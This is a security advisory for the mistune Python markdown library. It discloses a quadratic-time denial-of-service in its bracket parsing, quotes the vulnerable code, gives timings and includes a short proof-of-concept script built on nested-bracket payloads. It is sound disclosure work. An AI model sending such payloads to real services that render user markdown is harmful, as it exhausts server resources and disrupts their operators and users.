Skip to content

Denial of Service via nested bracket parsing

High
lepture published GHSA-3q64-rw38-243v Jun 21, 2026

Package

pip mistune (pip)

Affected versions

>=3.0.0 & <=3.2.1

Patched versions

3.3.0

Description

Summary

A Regular Expression Denial of Service (ReDoS) vulnerability in mistune 3.2.1 allows any user to cause severe CPU exhaustion by submitting markdown with deeply nested square brackets. The parse_link_text function in src/mistune/helpers.py exhibits O(n²) time complexity when processing inputs with many nested bracket characters, causing parsing times that scale quadratically with input size.

Details

The vulnerability exists in the parse_link_text function (src/mistune/helpers.py), which is called when parsing markdown links. The function uses _INLINE_SQUARE_BRACKET_RE = re.compile(r"(?<!\\)(?:\\\\)*[\[\]]") to scan for bracket characters. For each bracket found, the regex search starts from the current position and scans forward.

When processing input with n nested brackets (e.g., [ × n + ] × n), the inline parser's main loop attempts to parse a link at each [ position. The parse_link_text function scans through all remaining brackets before determining the link is invalid, then the parser advances by one character and repeats. This results in O(n²) total work:

  • First [: scans through all 2n brackets
  • Second [: scans through all 2n-1 brackets
  • ...
  • nth [: scans through n brackets

Measured timing on mistune 3.2.1:

  • n=1,000: 0.30s
  • n=2,000: 1.15s
  • n=4,000: 4.51s
  • n=8,000: 18.57s
  • n=16,000: 72.91s

Vulnerable code:

# src/mistune/helpers.py
def parse_link_text(src: str, pos: int) -> Union[Tuple[str, int], Tuple[None, None]]:
    level = 1
    found = False
    start_pos = pos

    while pos < len(src):
        m = _INLINE_SQUARE_BRACKET_RE.search(src, pos)  # O(n) scan per bracket
        if not m:
            break
        pos = m.end()
        marker = m.group(0)
        if marker == "]":
            level -= 1
            if level == 0:
                found = True
                break
        else:
            level += 1
    # ...

There is no depth limit on the level counter and no maximum input length check.

PoC

import time
import mistune

md = mistune.html  # Uses escape=False by default

# Payload: deeply nested brackets causing O(n²) parsing
for n in [1000, 2000, 4000, 8000, 16000]:
    payload = "[" * n + "]" * n
    start = time.time()
    result = md(payload)
    elapsed = time.time() - start
    print(f"n={n}: {elapsed:.3f}s")

Run with: python3 poc_redos.py

Impact

  • Type: Denial of Service (ReDoS / Algorithmic Complexity)
  • Who is impacted: Any application using mistune to render user-supplied markdown (web applications, documentation systems, CMS platforms, API services)
  • Attack vector: A single HTTP request with ~16KB of crafted markdown can cause 70+ seconds of CPU time. A few concurrent requests can completely exhaust server resources.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

Credits